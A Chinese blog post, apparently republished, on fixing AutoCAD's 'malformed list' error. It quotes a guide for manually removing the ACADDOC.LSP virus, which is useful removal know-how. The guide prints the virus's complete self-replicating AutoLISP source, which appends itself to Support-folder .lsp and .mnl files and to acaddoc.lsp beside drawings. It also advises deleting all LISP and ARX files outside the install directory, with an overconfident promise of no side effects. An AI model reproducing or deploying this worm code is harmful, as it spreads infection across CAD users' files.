1. 程式人生 > >autocad輸入的列表有缺陷解決方法

autocad輸入的列表有缺陷解決方法

我的電腦上裝有Autocad2006,每次啟動和開啟檔案時都有提示:

輸入的列表有缺陷

還有一個症狀是有些命令不能執行,比如三維陣列(3Darray命令或選單修改->三維操作->三維陣列)。提示:輸入的列表有缺陷

這個問題我忍受和困擾了很久。今天終於在網上找到了解決方法。

出現此問題的原因是Autocad中了病毒,使用360可以查出病毒,但清除病毒會刪除.lsp等檔案,導致有些命令不能執行。既能殺掉病毒,也使得病毒破壞的命令恢復正常才是根本的解決方案。

原文如下:

=======

CAD程式非常易中ACADDOC.LSP病毒,該病毒易傳播感染,且一般的防毒軟體都不能對此查殺,就連市面上專門的CAD防毒軟體都對此望塵莫及。對於此現象,本人向大家介紹一種手動防毒方法,這種方法追本溯源,治標治本,即是將病毒檔案的源程式刪除即可。此方法雖然操作上有些麻煩,但是卻是最切實有效的方法,本人經試驗過多次,均將問題解決,且不用重新安裝CAD。

以下是相關操作步驟:

1、若發現資料夾中多出ACADDOC.LSP檔案即說明你的CAD中毒了。

2、關閉CAD程式。

3、全盤搜尋 *.fas *.lsp *.mnl *.arx檔案,除了CAD安裝目錄以外的該類檔案均全部刪除。

4、檢查CAD安裝目錄檔案的修改時間,把ACADDOC.LSP病毒感染
X:/Program Files/AutoCAD20**/Support資料夾下的

3d.lsp;
3darray.lsp;
acad2010.lsp;
acad2010doc.lsp;
acadinfo.lsp;
ai_utils.lsp;
attredef.lsp;
edge.lsp;
mvsetup.lsp;
sample-profile-util.lsp

檔案以及

C:/Documents and Settings/使用者名稱/Application Data/Autodesk/AutoCAD 20**/R16.2/chs/Support下的

*.MNL檔案

中的病毒程式碼刪除。(用記事本開啟)

5、把CAD安裝目錄中的所有*.fas *.lsp *.mnl *.arx檔案改為只讀屬性。

說明: 要刪除的病毒程式碼在檔案的尾部,具體如下:

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil) (setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1) );progn );if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1) );progn );
if );while
(close wjm1)
(close wjm) );progn );
if );defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "//support

"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "//acaddoc.lsp")) (setq mnln 0)
(while (< mnln mnlnum) (
setq mnlfilename (strcat acadmnlpath "//" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln)) );while
(setq lspn 0)
(while (< lspn lspnum) (
setq lspfilename (strcat support "//" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while );progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "//" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "//" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)) )
;while
(setq lspn1 0) (while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "//" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while (setq lspn 0) (while (< lspn lspnum)
(setq lspfilename (strcat support "//" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "//" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "//" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)

後面可能還會有一些病毒程式程式碼,但大同小異,大部分以(setq flagxt)開頭。 該方法絕對不會對CAD的功能使用造成影響,請大家放心使用。

===================

照此方法操作,再啟動Autocad和開啟檔案時沒有“輸入的列表有缺陷”的提示了,啟動速度快了,並且3DArray命令可以使用了。

非常感謝該文的作者。